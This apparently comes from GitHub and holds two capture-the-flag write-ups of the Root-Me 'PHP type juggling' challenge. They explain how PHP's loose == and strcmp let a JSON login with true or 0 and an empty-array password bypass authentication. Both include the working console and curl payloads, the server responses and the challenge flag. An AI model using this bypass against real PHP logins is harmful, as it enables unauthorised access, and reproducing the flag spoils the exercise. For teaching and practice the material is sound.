Php type juggling root me

Permalink

Cannot retrieve contributors at this time

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters

'https://www.root-me.org/en/Challenges/Web-Server/PHP-type-juggling'
[Soal]
Get an access.
'http://challenge01.root-me.org/web-serveur/ch44/'
[POC]
Klik kanan inspect element, copy data dibawah terus paste di Console then hit enter
var data = {'login':true, 'password':[]}
$.ajax({
type: "POST",
dataType: "json",
url: "auth.php",
data: {auth : JSON.stringify({data})},
success: function(data) {
$(".return-value").html(
"Result: " + data['status']
);
}
});
click Network lihat auth.php dikiri bawah then clik Preview
Warning: strcmp() expects parameter 1 to be string, array given in /challenge/web-serveur/ch44/auth.php on line 18 {"status":"Access granted! The validation password is: DontForgetPHPL00seComp4r!s0n!!"}
# FLAG = DontForgetPHPL00seComp4r!s0n!!
Well done, you won 30 Points

Root-me.org

PHP Type juggling

PHP loose comparison

On this challenge we need to find a way to login. The title gives us a easy tip on how we need to abuse this.

We even get access to the source code.

If we take a look at the resource that root-me gave us, we get a pretty good idea how we are going to do this. I’ll put two links worth reading concerning this exploit.

https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pd://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

http://turbochaos.blogspot.ca/2013/08/exploiting-exotic-bugs-php-type-juggling.html

There’s also this link that is a grid on how each type react with each other.

https://docs.google.com/spreadsheets/d/1oWsmTvEZcfgc_1QkBczNGA3Gcffg_pmgKcak7iZldUw/pub?output=html

http://php.net/manual/en/types.comparisons.php

So to make this short the operator “==” has a very loose way of comparing stuff.

If we take a look at the source code we’ll notice the following.

It’s using strcmp to compare the password with the sha256 hash of the password. It’s also comparing the username we provide with “==”. Both of these are vulnerable to type juggling.

Next step is to send a request and see how it’s going to the server.

The content of the request looks like this:

auth=%7B%22data%22%3A%7B%22login%22%3A%22admin%22%2C%22password%22%3A%2235bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0%22%7D%7D

If we urldecode it we’ll see that the content is being sent in a json format.

php -r 'echo urldecode("%7B%22data%22%3A%7B%22login%22%3A%22admin%22%2C%22password%22%3A%2235bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0%22%7D%7D");'

{"data":{"login":"admin","password":"35bafb1ce99aef3ab068afbaabae8f21fd9b9f02d3a9442e364fa92c0b3eeef0"}}

What i did to test it out, was to recreate the source code on my machine and play around until i found something that was working.

The code looked like this.



I started by playing around with the password. I modified it in multiple ways trying to find a way to get the $FLAG that i set to the “It works”.

I also set the user to admin, because i didn’t know which username we needed to log with. So i’ll start by bypassing the password then move to the other one.

After playing around with it, making password as an array worked. The password field looked like this.

A comment post on the strcmp page gives us the information to understand why [] works out.

I’ll paste it here.

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

If => is 0 then it’s true. We can see that if we compare a string to an array we get NULL + PHP Warning. Null will allow us to bypass it.

$json='{"data":{"login":"admin","password":[]}}';

If i ran the script using php

php ch44.php
PHP Warning:  strcmp() expects parameter 1 to be string, array given in ch44.php on line 12
{"status":"Access granted! The validation password is: It works"}

It went through. I went ahead and tried it on the web server but it didn’t work. We need to also bypass the username. If we look at the comparison table for “==” found here:

http://php.net/manual/en/types.comparisons.php

We’ll see that for a string with being compared with the operator “==”, if we compare it to 0 it will give us TRUE, also true will give us true.

So our new login will look like this. I’ll put the two possibilities:

$json='{"data":{"login":true,"password": []}}';

$json='{"data":{"login":0,"password": []}}';

Let’s try it again and see if we get through.

php ch44.php
PHP Warning:  strcmp() expects parameter 1 to be string, array given in ch44.php on line 12
{"status":"Access granted! The validation password is: It works"}

So it’s working. Now let’s url encode the json data again and sent it.

curl --data-binary "auth=%7B%22data%22%3A%7B%22login%22%3A0%2C%22password%22%3A%5B%5D%7D%7D" http://challenge01.root-me.org/web-serveur/ch44/auth.php

Warning: strcmp() expects parameter 1 to be string, array given in /challenge/web-serveur/ch44/auth.php on line 18

{"status":"Access granted! The validation password is: DontForgetPHPL00seComp4r1s0n"}

There it is